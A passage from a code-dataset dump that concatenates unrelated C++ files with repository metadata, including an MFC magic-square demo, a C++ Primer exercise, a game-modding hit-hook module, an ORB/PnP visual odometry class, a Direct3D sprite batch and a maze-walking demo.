subtract<MultiPolygonShape>(circle); } }; class Cylinder : public MultiPolygonShape { public: explicit Cylinder(const std::string &shape_name) : MultiPolygonShape(shape_name) { multi_polygon_.addACircle(insert_circle_center, insert_circle_radius, 100, ShapeBooleanOps::add); } }; //---------------------------------------------------------------------- // Free-stream velocity //---------------------------------------------------------------------- struct FreeStreamVelocity { Real u_ref_, t_ref_; template <class BoundaryConditionType> FreeStreamVelocity(BoundaryConditionType &boundary_condition) : u_ref_(U_f), t_ref_(2.0) {} Vecd operator()(Vecd &position, Vecd &velocity) { Vecd target_velocity = Vecd::Zero(); Real run_time = GlobalStaticVariables::physical_time_; target_velocity[0] = run_time < t_ref_ ? 0.5 * u_ref_ * (1.0 - cos(Pi * run_time / t_ref_)) : u_ref_; return target_velocity; } }; //---------------------------------------------------------------------- // Define time dependent acceleration in x-direction //---------------------------------------------------------------------- class TimeDependentAcceleration : public Gravity { Real t_ref_, u_ref_, du_ave_dt_; public: explicit TimeDependentAcceleration(Vecd gravity_vector) : Gravity(gravity_vector), t_ref_(2.0), u_ref_(U_f), du_ave_dt_(0) {} virtual Vecd InducedAcceleration(Vecd &position) override { Real run_time_ = GlobalStaticVariables::physical_time_; du_ave_dt_ = 0.5 * u_ref_ * (Pi / t_ref_) * sin(Pi * run_time_ / t_ref_); return run_time_ < t_ref_ ? Vecd(du_ave_dt_, 0.0) : global_acceleration_; } };
[ "xiangyu.hu@tum.de" ]
xiangyu.hu@tum.de
1fc070aee7db59a639d248daab4217645372068a
1a77b5eac40055032b72e27e720ac5d43451bbd6
/フォーム対応/VisualC++/MFC/Chap9/Dr64/Dr64/Dr64View.cpp
4350d94b7cb1c0280451809f595e4381fa1f384f
[]
no_license
motonobu-t/algorithm
8c8d360ebb982a0262069bb968022fe79f2c84c2
ca7b29d53860eb06a357eb268f44f47ec9cb63f7
refs/heads/master
2021-01-22T21:38:34.195001
2017-05-15T12:00:51
2017-05-15T12:01:00
85,451,237
0
0
null
null
null
null
SHIFT_JIS
C++
false
false
2,213
cpp
// Dr64View.cpp : CDr64View クラスの実装 // #include "stdafx.h" #include "Dr64.h" #include "Dr64Doc.h" #include "Dr64View.h" #ifdef _DEBUG #define new DEBUG_NEW #endif // CDr64View IMPLEMENT_DYNCREATE(CDr64View, CFormView) BEGIN_MESSAGE_MAP(CDr64View, CFormView) ON_BN_CLICKED(IDC_BUTTON1, &CDr64View::OnBnClickedButton1) END_MESSAGE_MAP() // CDr64View コンストラクション/デストラクション CDr64View::CDr64View() : CFormView(CDr64View::IDD) { // TODO: 構築コードをここに追加します。 } CDr64View::~CDr64View() { } void CDr64View::DoDataExchange(CDataExchange* pDX) { CFormView::DoDataExchange(pDX); DDX_Control(pDX, IDC_PICT, pict); } BOOL CDr64View::PreCreateWindow(CREATESTRUCT& cs) { // TODO: この位置で CREATESTRUCT cs を修正して Window クラスまたはスタイルを // 修正してください。 return CFormView::PreCreateWindow(cs); } void CDr64View::OnInitialUpdate() { CFormView::OnInitialUpdate(); GetParentFrame()->RecalcLayout(); ResizeParentToFit(); } // CDr64View 診断 #ifdef _DEBUG void CDr64View::AssertValid() const { CFormView::AssertValid(); } void CDr64View::Dump(CDumpContext& dc) const { CFormView::Dump(dc); } CDr64Doc* CDr64View::GetDocument() const // デバッグ以外のバージョンはインラインです。 { ASSERT(m_pDocument->IsKindOf(RUNTIME_CLASS(CDr64Doc))); return (CDr64Doc*)m_pDocument; } #endif //_DEBUG // CDr64View メッセージ ハンドラ /* * --------------------- * 4N魔方陣 * * --------------------- */ #include "mfcform.h" #define N 8 /* 4N方陣(n=4,8,12,16,・・・) */ void CDr64View::OnBnClickedButton1() { // TODO: ここにコントロール通知ハンドラ コードを追加します。 int hojin[N+1][N+1],i,j; tinit();cls(); for (j=1;j<=N;j++){ for (i=1;i<=N;i++){ if (j%4==i%4 || (j%4+i%4)%4==1) hojin[i][j]=(N+1-i)*N-j+1; else hojin[i][j]=(i-1)*N+j; } } printf(" 4N魔方陣 (N=%d)\n",N); for (i=1;i<=N;i++){ for (j=1;j<=N;j++) printf("%4d",hojin[i][j]); printf("\n"); } tfin(); }
[ "rx_78_bd@yahoo.co.jp" ]
rx_78_bd@yahoo.co.jp
f770e762d1df47327a642cff1811ff5f6ae217ed
7f98f218e3eb50c7020c49bfe15d9dbb6bd70d0b
/ch13/ex13_11.h
b737287ae47637ef86a94f63498c693e3c75c4ef
[]
no_license
MonstarCoder/MyCppPrimer
1917494855b01dbe12a343d4c3e08752f291c0e9
3399701bb90c45bc0ee0dc843a4e0b93e20d898a
refs/heads/master
2021-01-18T10:16:37.501209
2017-11-09T13:44:36
2017-11-09T13:44:36
84,318,673
0
0
null
null
null
null
UTF-8
C++
false
false
458
h
#ifndef CP5_ex13_11_h #define CP5_ex13_11_h #include <string> class HasPtr { public: HasPtr(const std::string& s = std::string()) : ps(new std::string(s)), i(0) { } HasPtr(const HasPtr& hp) : ps(new std::string(*hp.ps)), i(hp.i) {} HasPtr& operator=(const HasPtr& hp) { std::string* new_ps = new std::string(*hp.ps); delete ps; ps = new_ps; i = hp.i; return *this; } ~HasPtr() {delete ps;} private: std::string* ps; int i; }; #endif
[ "652141046@qq.com" ]
652141046@qq.com
72370524d3c49d24f2d6820eb2564f3f7bfb8b38
71f1b58e06ba44a16b601a7ad415be852cdcb550
/OsiInterface/Hit.cpp
818e94f542245fa7ebc34e3a061cf6b428afa238
[ "MIT" ]
permissive
blakexu/ositools
0a23b24e893b99af5487b50c047b920a0660ab3b
f91a9d6d6b9ff793c3a3c41e74869dcda83df28d
refs/heads/master
2022-11-14T09:45:17.963601
2020-06-17T21:04:30
2020-06-17T21:04:30
null
0
0
null
null
null
null
UTF-8
C++
false
false
13,319
cpp
#include <stdafx.h> #include <Hit.h> #include <OsirisProxy.h> #include "PropertyMaps.h" // #define DEBUG_HIT DEBUG // #define WARN_HIT WARN #define DEBUG_HIT(...) #define WARN_HIT(...) namespace dse::esv { extern FunctionHandle StatusAttemptEventHandle; extern FunctionHandle HitPrepareEventHandle; extern FunctionHandle HitEventHandle; PendingHit* PendingHitManager::OnCharacterHit(esv::Character* character, CDivinityStats_Character* attacker, CDivinityStats_Item* weapon, DamagePairList* damageList, HitType hitType, bool noHitRoll, HitDamageInfo* damageInfo, int forceReduceDurability, HighGroundBonus highGround, bool procWindWalker, CriticalRoll criticalRoll) { auto it = characterHitMap_.find(damageInfo); if (it != characterHitMap_.end()) { if (it->second->CapturedStatusSetup || it->second->CapturedStatusEnter) { WARN_HIT("PendingHitManager::OnCharacterHit(Hit=%p): Hit pointer reuse on %d", damageInfo, it->second->Id); it->second->CharacterHitPointer = nullptr; } else { WARN_HIT("PendingHitManager::OnCharacterHit(Hit=%p): Found duplicate hit with ID %d, deleting", damageInfo, it->second->Id); DeleteHit(it->second); } } auto hit = std::make_unique<PendingHit>(); hit->Id = nextHitId_++; DEBUG_HIT("PendingHitManager::OnCharacterHit(Hit=%p): Constructing new hit %d", damageInfo, hit->Id); ObjectHandle targetHandle, attackerHandle; character->GetObjectHandle(targetHandle); hit->TargetHandle = targetHandle; if (attacker != nullptr && attacker->Character != nullptr) { attacker->Character->GetObjectHandle(attackerHandle); hit->AttackerHandle = attackerHandle; } hit->CapturedCharacterHit = true; hit->WeaponStats = weapon; hit->CharacterHitPointer = damageInfo; hit->CharacterHitDamageList.CopyFrom(*damageList); hit->CharacterHit.CopyFrom(*damageInfo); hit->HitType = hitType; hit->NoHitRoll = noHitRoll; hit->ForceReduceDurability = forceReduceDurability; hit->HighGround = highGround; hit->ProcWindWalker = procWindWalker; hit->CriticalRoll = criticalRoll; auto pHit = hit.get(); hits_.insert(std::make_pair(hit->Id, std::move(hit))); characterHitMap_.insert(std::make_pair(damageInfo, pHit)); return pHit; } PendingHit* PendingHitManager::OnStatusHitSetup(esv::StatusHit* status, HitDamageInfo* damageInfo) { PendingHit* pHit; auto it = characterHitMap_.find(damageInfo); if (it != characterHitMap_.end()) { pHit = it->second; DEBUG_HIT("PendingHitManager::OnStatusHitSetup(S=%p, Hit=%p): Mapped to existing %d", status, damageInfo, pHit->Id); } else { auto hit = std::make_unique<PendingHit>(); hit->Id = nextHitId_++; pHit = hit.get(); hits_.insert(std::make_pair(hit->Id, std::move(hit))); WARN_HIT("PendingHitManager::OnStatusHitSetup(S=%p, Hit=%p): Create new %d", status, damageInfo, pHit->Id); } pHit->CapturedStatusSetup = true; pHit->Status = status; hitStatusMap_.insert(std::make_pair(status, pHit)); // We no longer need to keep character hit mappings if (pHit->CapturedCharacterHit && pHit->CharacterHitPointer != nullptr) { auto it = characterHitMap_.find(pHit->CharacterHitPointer); if (it != characterHitMap_.end() && it->second == pHit) { characterHitMap_.erase(it); } pHit->CharacterHitPointer = nullptr; } return pHit; } PendingHit* PendingHitManager::OnApplyHit(esv::StatusMachine* self, esv::StatusHit* status) { PendingHit* pHit; auto it = hitStatusMap_.find(status); if (it != hitStatusMap_.end()) { pHit = it->second; DEBUG_HIT("PendingHitManager::OnApplyHit(S=%p): Mapped to existing %d", status, &status->DamageInfo, pHit->Id); } else { auto hit = std::make_unique<PendingHit>(); hit->Id = nextHitId_++; pHit = hit.get(); hits_.insert(std::make_pair(hit->Id, std::move(hit))); WARN_HIT("PendingHitManager::OnStatusHitEnter(S=%p): Create new %d", status, &status->DamageInfo, pHit->Id); } pHit->CapturedStatusApply = true; pHit->TargetHandle = self->OwnerObjectHandle; pHit->Status = status; hitStatusDamageMap_.insert(std::make_pair(&status->DamageInfo, pHit)); return pHit; } PendingHit* PendingHitManager::OnStatusHitEnter(esv::StatusHit* status) { PendingHit* pHit; auto it = hitStatusMap_.find(status); if (it != hitStatusMap_.end()) { pHit = it->second; DEBUG_HIT("PendingHitManager::OnStatusHitEnter(S=%p, Hit=%p): Mapped to existing %d", status, &status->DamageInfo, pHit->Id); } else { auto hit = std::make_unique<PendingHit>(); hit->Id = nextHitId_++; pHit = hit.get(); hits_.insert(std::make_pair(hit->Id, std::move(hit))); WARN_HIT("PendingHitManager::OnStatusHitEnter(S=%p, Hit=%p): Create new %d", status, &status->DamageInfo, pHit->Id); } pHit->CapturedStatusEnter = true; pHit->Status = status; hitStatusDamageMap_.insert(std::make_pair(&status->DamageInfo, pHit)); return pHit; } void PendingHitManager::OnStatusHitDestroy(esv::StatusHit* status) { auto it = hitStatusMap_.find(status); if (it != hitStatusMap_.end()) { DEBUG_HIT("PendingHitManager::OnStatusHitEnter(S=%p): Deleting hit %d", status, it->second->Id); DeleteHit(it->second); } else { WARN_HIT("PendingHitManager::OnStatusHitEnter(S=%p): Hit not tracked!", status); } } PendingHit* PendingHitManager::OnCharacterApplyDamage(HitDamageInfo* hit) { auto it = hitStatusDamageMap_.find(hit); if (it != hitStatusDamageMap_.end()) { DEBUG_HIT("PendingHitManager::OnCharacterApplyDamage(Hit=%p): Mapped to existing %d", hit, it->second->Id); return it->second; } else { DEBUG_HIT("PendingHitManager::OnCharacterApplyDamage(Hit=%p): No context record found!", hit); return nullptr; } } void PendingHitManager::DeleteHit(PendingHit* hit) { if (hit->CapturedStatusEnter) { auto it = hitStatusDamageMap_.find(&hit->Status->DamageInfo); if (it != hitStatusDamageMap_.end()) { hitStatusDamageMap_.erase(it); } } if (hit->CapturedStatusSetup) { auto it = hitStatusMap_.find(hit->Status); if (it != hitStatusMap_.end()) { hitStatusMap_.erase(it); } } if (hit->CapturedCharacterHit && hit->CharacterHitPointer != nullptr) { auto it = characterHitMap_.find(hit->CharacterHitPointer); if (it != characterHitMap_.end() && it->second == hit) { characterHitMap_.erase(it); } } auto it = hits_.find(hit->Id); if (it != hits_.end()) { // Hit deleted here by unique_ptr dtor hits_.erase(it); } } HitProxy::HitProxy(OsirisProxy& osiris) : osiris_(osiris) {} void HitProxy::PostStartup() { if (!gOsirisProxy->HasFeatureFlag("OsirisExtensions")) { return; } if (PostLoaded) { return; } using namespace std::placeholders; osiris_.GetLibraryManager().StatusHitSetupHook.SetPreHook( std::bind(&HitProxy::OnStatusHitSetup, this, _1, _2) ); osiris_.GetLibraryManager().StatusHitEnter.SetPreHook( std::bind(&HitProxy::OnStatusHitEnter, this, _1) ); osiris_.GetLibraryManager().CharacterHitHook.SetWrapper( std::bind(&HitProxy::OnCharacterHit, this, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12, _13) ); osiris_.GetLibraryManager().CharacterHitInternalHook.SetWrapper( std::bind(&HitProxy::OnCharacterHitInternal, this, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11, _12) ); osiris_.GetLibraryManager().CharacterApplyDamageHook.SetWrapper( std::bind(&HitProxy::OnCharacterApplyDamage, this, _1, _2, _3, _4, _5, _6) ); osiris_.GetLibraryManager().ApplyStatusHook.SetWrapper( std::bind(&HitProxy::OnApplyStatus, this, _1, _2, _3) ); osiris_.GetLibraryManager().SkillPrototypeGetSkillDamageHook.SetWrapper( std::bind(&HitProxy::OnGetSkillDamage, this, _1, _2, _3, _4, _5, _6, _7, _8, _9, _10, _11) ); PostLoaded = true; } void HitProxy::OnStatusHitSetup(esv::StatusHit* status, HitDamageInfo* hit) { gOsirisProxy->GetServerExtensionState().PendingHits.OnStatusHitSetup(status, hit); } void HitProxy::OnStatusHitEnter(esv::StatusHit* status) { auto context = gOsirisProxy->GetServerExtensionState().PendingHits.OnStatusHitEnter(status); LuaServerPin lua(ExtensionState::Get()); if (lua) { lua->OnStatusHitEnter(status, context); } gOsirisProxy->GetFunctionLibrary().ThrowStatusHitEnter(status); } void HitProxy::OnCharacterHit(esv::Character::HitProc wrappedHit, esv::Character* self, CDivinityStats_Character* attackerStats, CDivinityStats_Item* itemStats, DamagePairList* damageList, HitType hitType, bool noHitRoll, HitDamageInfo* damageInfo, int forceReduceDurability, CRPGStats_Object_Property_List* skillProperties, HighGroundBonus highGround, bool procWindWalker, CriticalRoll criticalRoll) { auto helper = gOsirisProxy->GetServerExtensionState().DamageHelpers.Create(); helper->Type = DamageHelpers::HT_PrepareHitEvent; helper->Target = self; if (attackerStats != nullptr) { helper->Source = static_cast<esv::Character*>(attackerStats->Character); } helper->SimulateHit = true; helper->HitType = hitType; helper->NoHitRoll = noHitRoll; helper->ProcWindWalker = procWindWalker; helper->HighGround = highGround; helper->CriticalRoll = criticalRoll; helper->ForceReduceDurability = (bool)forceReduceDurability; helper->SetExternalDamageInfo(damageInfo, damageList); gOsirisProxy->GetFunctionLibrary().ThrowCharacterHit(self, attackerStats, itemStats, damageList, hitType, noHitRoll, damageInfo, forceReduceDurability, skillProperties, highGround, procWindWalker, criticalRoll, *helper); wrappedHit(self, attackerStats, itemStats, damageList, helper->HitType, helper->NoHitRoll, damageInfo, helper->ForceReduceDurability, skillProperties, helper->HighGround, helper->ProcWindWalker, helper->CriticalRoll); gOsirisProxy->GetServerExtensionState().PendingHits.OnCharacterHit(self, attackerStats, itemStats, damageList, hitType, noHitRoll, damageInfo, forceReduceDurability, highGround, procWindWalker, criticalRoll); gOsirisProxy->GetServerExtensionState().DamageHelpers.Destroy(helper->Handle); } void HitProxy::OnCharacterHitInternal(CDivinityStats_Character::HitInternalProc next, CDivinityStats_Character* self, CDivinityStats_Character* attackerStats, CDivinityStats_Item* item, DamagePairList* damageList, HitType hitType, bool noHitRoll, bool forceReduceDurability, HitDamageInfo* damageInfo, CRPGStats_Object_Property_List* skillProperties, HighGroundBonus highGroundFlag, CriticalRoll criticalRoll) { LuaServerPin lua(ExtensionState::Get()); if (lua) { if (lua->ComputeCharacterHit(self, attackerStats, item, damageList, hitType, noHitRoll, forceReduceDurability, damageInfo, skillProperties, highGroundFlag, criticalRoll)) { return; } } next(self, attackerStats, item, damageList, hitType, noHitRoll, forceReduceDurability, damageInfo, skillProperties, highGroundFlag, criticalRoll); } void HitProxy::OnCharacterApplyDamage(esv::Character::ApplyDamageProc next, esv::Character* self, HitDamageInfo& hit, uint64_t attackerHandle, CauseType causeType, glm::vec3& impactDirection) { auto context = gOsirisProxy->GetServerExtensionState().PendingHits.OnCharacterApplyDamage(&hit); HitDamageInfo luaHit = hit; LuaServerPin lua(ExtensionState::Get()); if (lua) { if (lua->OnCharacterApplyDamage(self, luaHit, ObjectHandle(attackerHandle), causeType, impactDirection, context)) { return; } } next(self, luaHit, attackerHandle, causeType, impactDirection); } void HitProxy::OnApplyStatus(esv::StatusMachine__ApplyStatus wrappedApply, esv::StatusMachine* self, esv::Status* status) { // Don't throw events for inactive status machines, as those will get swallowed // by Osiris during loading anyway. if (!self->IsStatusMachineActive) { wrappedApply(self, status); return; } ExtensionState::Get().PendingStatuses.Add(status); gOsirisProxy->GetFunctionLibrary().ThrowApplyStatus(self, status); bool previousPreventApplyState = self->PreventStatusApply; ObjectHandle targetHandle; auto target = GetEntityWorld()->GetGameObject(self->OwnerObjectHandle); if (target != nullptr) { target->GetObjectHandle(targetHandle); auto pendingStatus = ExtensionState::Get().PendingStatuses.Find(targetHandle, status->StatusHandle); if (pendingStatus != nullptr) { self->PreventStatusApply = pendingStatus->PreventApply; } else { OsiErrorS("Status not found in pending status list during ApplyStatus ?!"); } } wrappedApply(self, status); self->PreventStatusApply = previousPreventApplyState; ExtensionState::Get().PendingStatuses.Remove(status); } void HitProxy::OnGetSkillDamage(SkillPrototype::GetSkillDamage next, SkillPrototype* self, DamagePairList* damageList, CRPGStats_ObjectInstance* attackerStats, bool isFromItem, bool stealthed, float* attackerPosition, float* targetPosition, DeathType* pDeathType, int level, bool noRandomization) { LuaVirtualPin lua(gOsirisProxy->GetCurrentExtensionState()); if (lua) { if (lua->GetSkillDamage(self, damageList, attackerStats, isFromItem, stealthed, attackerPosition, targetPosition, pDeathType, level, noRandomization)) { return; } } next(self, damageList, attackerStats, isFromItem, stealthed, attackerPosition, targetPosition, pDeathType, level, noRandomization); } }
[ "infernorb@gmail.com" ]
infernorb@gmail.com
0dee3b110a06f374a3b096aade3d49433f961025
c45ed46065d8b78dac0dd7df1c95b944f34d1033
/TC-SRM-554-div1-250/linkct.cpp
65b78f578d3b9274559e2aad4338e35d20e63cde
[]
no_license
yzq986/cntt2016-hw1
ed65a6b7ad3dfe86a4ff01df05b8fc4b7329685e
12e799467888a0b3c99ae117cce84e8842d92337
refs/heads/master
2021-01-17T11:27:32.270012
2017-01-26T03:23:22
2017-01-26T03:23:22
84,036,200
0
0
null
2017-03-06T06:04:12
2017-03-06T06:04:12
null
UTF-8
C++
false
false
195
cpp
#include <bits/stdc++.h> using namespace std; class TheBrickTowerEasyDivOne{ public: int find(int rc, int rh, int bc, int bh){ return min(rc, bc) * (2 + int(rh != bh)) + int(rc != bc); } };
[ "linkct1999@163.com" ]
linkct1999@163.com
fc5dad7ade4a4f5304a758f0582a09b9aaeb8a2a
e397315a964b0ac363db85dbaa69170003241f05
/include/odometry.hpp
6a27f66e57a0e321f66b56dc5037af8c17040b20
[]
no_license
MaouLim/StubidSLAM
a664f8f69585273c522c299e6869a596eb46c395
56fd6bcb34d8b8f87586cb94e7882a65a58352fd
refs/heads/master
2021-03-20T23:06:54.387389
2020-03-14T08:43:41
2020-03-14T08:43:41
247,241,425
0
0
null
null
null
null
UTF-8
C++
false
false
5,524
hpp
/* * Created by Maou Lim on 2020/3/14. */ #ifndef _STUBIDSLAM_ODOMETRY_HPP_ #define _STUBIDSLAM_ODOMETRY_HPP_ #include <memory> #include <vector> namespace sslam { class odometry { public: using ptr = std::shared_ptr<odometry>; enum state { INITIALING, RUNNING, LOST }; odometry() : _state(INITIALING), _prv(nullptr), _cur(nullptr), _map(map::create()), _count_lost(0), _count_inliers(0) { _n_features = config::get<int> ("n_features"); _scale_factor = config::get<double> ("scale_factor"); _level_pyramid = config::get<int> ("level_pyramid"); _match_ratio = config::get<double> ( "match_ratio" ); _max_lost = config::get<int> ("max_lost"); _min_inliers = config::get<int> ("min_inliers"); _key_frame_min_rotation = config::get<double> ("key_frame_min_rotation"); _key_frame_min_translation = config::get<double> ("key_frame_min_translation"); _orb_detector = cv::ORB::create(_n_features, _scale_factor, _level_pyramid); } ~odometry() = default; bool feed_frame(frame::ptr frame) { switch (_state) { case INITIALING : { _state = RUNNING; _cur = _prv = frame; _map->insert_or_replace(frame); this->_extract_kpts(); this->_compute_descriptors(); this->_initialize_3dpts(); break; } case RUNNING : { _cur = frame; this->_extract_kpts(); this->_compute_descriptors(); this->_match(); this->_pose_estimation_pnp(); if (!_check_estimation()) { ++_count_lost; if (_max_lost < _count_lost) { _state = LOST; } return false; } _cur->pose() = _pose * _prv->pose(); _prv = _cur; this->_initialize_3dpts(); _count_lost = 0; if (_is_key_frame()) { std::cout << "Key frame detected." << std::endl; _map->insert_or_replace(_cur); } break; } case LOST : { std::cerr << "VO lost." << std::endl; return false; } default : { return false; } } return true; } static ptr create() { return std::make_shared<odometry>(); } private: void _extract_kpts() { _orb_detector->detect(_cur->color_image(), _kpts_cur); } void _compute_descriptors() { _orb_detector->compute(_cur->color_image(), _kpts_cur, _descriptor_cur); } void _match() { std::vector<cv::DMatch> tmp; cv::BFMatcher matcher(cv::NORM_HAMMING); matcher.match(_descriptor_prv, _descriptor_cur, tmp); float min_dis = std::min_element( tmp.begin(), tmp.end(), [](const cv::DMatch& ma, const cv::DMatch& mb) { return ma.distance < mb.distance; } )->distance; _matches.clear(); for (auto& each : tmp) { if (each.distance < std::max(min_dis * _match_ratio, 30.)) { _matches.push_back(each); } } } void _initialize_3dpts() { _3dpts_prv.clear(); _descriptor_prv = cv::Mat(); for (size_t i = 0; i < _kpts_cur.size(); ++i) { auto& kpt = _kpts_cur[i].pt; double depth = _prv->depth_at(kpt.x, kpt.y); if (0. < depth) { auto p_cam = _prv->camera()->pixel2camera({ kpt.x, kpt.y }, depth); _3dpts_prv.emplace_back(p_cam.x(), p_cam.y(), p_cam.z()); _descriptor_prv.push_back(_descriptor_cur.row(i)); } } } void _pose_estimation_pnp() { std::vector<cv::Point3f> pts3d; std::vector<cv::Point2f> pts2d; for (auto& each : _matches) { pts3d.push_back(_3dpts_prv[each.queryIdx]); pts2d.push_back(_kpts_cur[each.trainIdx].pt); } cv::Mat camera_mat = _prv->camera()->cv_mat(); cv::Mat rvec, tvec, inliers; cv::solvePnPRansac(pts3d, pts2d, camera_mat, cv::Mat(), rvec, tvec, false, 100, 4.0, 0.99, inliers); _count_inliers = inliers.rows; std::cout << "PNP inliers: " << _count_inliers << std::endl; Sophus::SO3d so3 = Sophus::SO3d::exp({ rvec.at<double>(0), rvec.at<double>(1), rvec.at<double>(2) }); Eigen::Vector3d t = { tvec.at<double>(0), tvec.at<double>(1), tvec.at<double>(2) }; _pose = Sophus::SE3d(so3, t); } bool _check_estimation() const { if (_count_inliers < _min_inliers) { std::cerr << "VO rejects the estimation result since inliers are too small." << std::endl; return false; } auto tangent = _pose.log(); double length = tangent.norm(); if (5.0 < length) { std::cerr << "VO rejects the estimation result since the motion between two frames is too large: " << length << std::endl; return false; } return true; } bool _is_key_frame() const { auto tangent = _pose.log(); Eigen::Vector3d t = tangent.head<3>(); Eigen::Vector3d r = tangent.tail<3>(); return _key_frame_min_rotation < r.norm() || _key_frame_min_translation < t.norm(); } private: state _state; map::ptr _map; frame::ptr _prv, _cur; Sophus::SE3d _pose; /* OpenCV feature extractor stuff */ cv::Ptr<cv::ORB> _orb_detector; std::vector<cv::KeyPoint> _kpts_cur; std::vector<cv::Point3f> _3dpts_prv; cv::Mat _descriptor_prv; cv::Mat _descriptor_cur; std::vector<cv::DMatch> _matches; uint64_t _count_inliers; uint64_t _count_lost; /* visual odometry base parameters */ uint64_t _n_features; uint64_t _max_lost; uint64_t _min_inliers; uint64_t _level_pyramid; double _scale_factor; double _match_ratio; double _key_frame_min_rotation; double _key_frame_min_translation; }; } #endif //STUBIDSLAM_ODOMETRY_HPP
[ "maoulim@foxmail.com" ]
maoulim@foxmail.com
0ef64ceb0f05daf313f709fd7b0fe903d4815303
7e9b2008a46191882c925023cf84a479e0367773
/Terrain/Terrain/SpriteBatch.h
126fce05c8342ee7d1edb023f2a9e14df6390686
[]
no_license
tjuls123/PersonalWorks
a9655733da75e3a9e8951758b25c34a056fd1ce6
d3dd83b0d882402971f8f0e8934fe66399c3795c
refs/heads/master
2022-11-23T12:21:20.856850
2020-07-09T04:53:49
2020-07-09T04:53:49
278,263,552
0
1
null
null
null
null
GB18030
C++
false
false
1,653
h
#pragma once #include <d3dx9.h> #include <list> #include "CTexture2D.h" struct SpriteNode { RECT _destRect; //目标区域 RECT _surRect; //纹理区域 float _layerDepth; //z值 D3DCOLOR _color; //颜色 SpriteNode(){} SpriteNode(RECT DestRect, RECT SurRect, float layerDepth, D3DCOLOR Color) { _destRect = DestRect; _surRect = SurRect; _layerDepth = layerDepth; _color = Color; } }; #define SPRITEBLENDMODE_NONE 0 #define SPRITEBLENDMODE_ALPHABLEND 1 #define SPRITEBLENDMODE_ADDITIVE 2 class SpriteBatch { public: SpriteBatch(IDirect3DDevice9 *device); ~SpriteBatch(); public: void Begin(DWORD Flags); void End(); void Release() { if (m_pSpriteNode->size() > 0) m_pSpriteNode->clear(); delete m_pSpriteNode; } void Draw(CTexture2D *pTexture, const RECT &destRect, const RECT &surRect, const float &layerDepth = 0.0f, D3DCOLOR color = D3DCOLOR_RGBA(255, 255, 255, 255)); void Draw( CTexture2D* pTexture, const D3DXVECTOR2& Pos, const D3DXVECTOR2& origin, const float& Scale, const float& layerDepth = 0.0f, D3DCOLOR Color = D3DCOLOR_RGBA(255, 255, 255, 255) ); void Draw( CTexture2D* pTexture, const RECT& DesRect, const float& layerDepth = 0.0f, D3DCOLOR Color = D3DCOLOR_RGBA(255, 255, 255, 255) ); private: void PostFrame(RECT destRect, RECT surRect, float layerDepth, D3DCOLOR color); void Flush(); private: IDirect3DDevice9 *m_pDevice; CTexture2D *m_pTexture; D3DXMATRIX m_oriViewMatrix; D3DXMATRIX m_oriProjMatrix; D3DXMATRIX m_viewMatrix; D3DXMATRIX m_projMatrix; DWORD m_Flags; std::list<SpriteNode> *m_pSpriteNode; };
[ "lsn5884@corp.netease.com" ]
lsn5884@corp.netease.com
34c562d242308466c9fd41d17b8e41aec1e93409
c985f7a772751fc89f79f25fc4881bfc7abbbb2d
/src/debug/InfoViewer.h
8ec91a32546d0900f6b4256a76fd43fd7951fb7c
[]
no_license
underdoeg/ofxBoxModel
2517a5cb641eea32e3bc11ef7e78312a9e8d47b5
1ef3fc2ce5735c65e64130d63137be81614c5581
refs/heads/master
2020-09-13T10:59:35.029360
2014-08-11T20:23:20
2014-08-11T20:23:20
null
0
0
null
null
null
null
UTF-8
C++
false
false
585
h
#ifndef INFOVIEWER_H #define INFOVIEWER_H #include "boxes/Box.h" #include "boxes/Texts.h" namespace boxModel { namespace debug { class InfoViewer: public boxModel::boxes::Box { public: InfoViewer(); ~InfoViewer(); void setComponentContainer(core::ComponentContainer* container); string getType(); private: void addInfoForComponent(core::Component* component); core::ComponentContainer* container; std::map<std::string, boxes::H2*> componentNames; std::map<std::string, boxes::H3*> infoNames; std::map<std::string, boxes::TextBox*> infos; }; } } #endif // INFOVIEWER_H
[ "public@underdoeg.com" ]
public@underdoeg.com
56a698b1c20b2c4a3a1c7d6212052c5472165be9
2123a783dec368c22c1223df7a93385df03437ac
/8_1/Cdemo.cpp
ac9655e1f2196cb23d3039baa40d5b36b8a03c21
[]
no_license
arlose/xiaomingsworld
69cb007aa71f931660865b45509871fb7c12a88f
f088d9cbc9cfaaeae6eb4628584b2cc64cb95512
refs/heads/master
2020-05-22T18:19:35.564615
2017-02-23T04:26:55
2017-02-23T04:26:55
34,460,679
0
0
null
null
null
null
GB18030
C++
false
false
2,020
cpp
/*程序2.1 Cdemo.cpp*/ #include <graphics.h> #include <conio.h> #include <stdlib.h> #include <time.h> #include "function.h" /* 遇到墙则不走 */ void AdvStep() { if(!IsFrontWall()) step(); } /* 向左走一步 */ void StepLeft() { int dir = getDirection(); switch (dir) { case DIR_LEFT: break; case DIR_RIGHT: turnBack(); break; case DIR_UP: turnLeft(); break; case DIR_DOWN: turnRight(); break; default: return ; } AdvStep(); return ; } /* 向右走一步 */ void StepRight() { int dir = getDirection(); switch (dir) { case DIR_RIGHT: break; case DIR_LEFT: turnBack(); break; case DIR_DOWN: turnLeft(); break; case DIR_UP: turnRight(); break; default: return ; } AdvStep(); return ; } /* 向上走一步 */ void StepUp() { int dir = getDirection(); switch (dir) { case DIR_RIGHT: turnLeft(); break; case DIR_LEFT: turnRight(); break; case DIR_DOWN: turnBack(); break; case DIR_UP: break; default: return ; } AdvStep(); return ; } /* 向下走一步 */ void StepDown() { int dir = getDirection(); switch (dir) { case DIR_RIGHT: turnRight(); break; case DIR_LEFT: turnLeft(); break; case DIR_DOWN: break; case DIR_UP: turnBack(); break; default: return ; } AdvStep(); return ; } /* 自定义动作 */ void move() { int dir; srand((unsigned int)time(NULL)); while(1){ dir = rand()%4; switch(dir) { case DIR_RIGHT: StepRight(); break; case DIR_LEFT: StepLeft(); break; case DIR_UP: StepUp(); break; case DIR_DOWN: StepDown(); break; default: break; } } return ; } int main() { initgraph(DRAWINGAREAWIDTH, DRAWINGAREAHEIGHT); init(); while(1) { /* 获取按键 */ int key = getch(); if(key=='q') // 按键q退出 break; if(key=='l') // 按键l向左转 turnLeft(); if(key=='s') // 按键s走一步 step(); if(key=='m') // 按键m自定义连贯动作 move(); } closegraph(); return 0; }
[ "arlose.fj@gmail.com" ]
arlose.fj@gmail.com
3d40b48c229c60e4c2c4b746639e27fd5d35ff44
fe2e4dd2472545be25f0efce7e157aa6af3c7aae
/calendar/Source.cpp
5267ed48412f18973e5de90a4407a9e1da4d50dc
[]
no_license
Lev1ty/dmoj
7bf8a355d1ceac91e4ed701d5aae0acf2bd90229
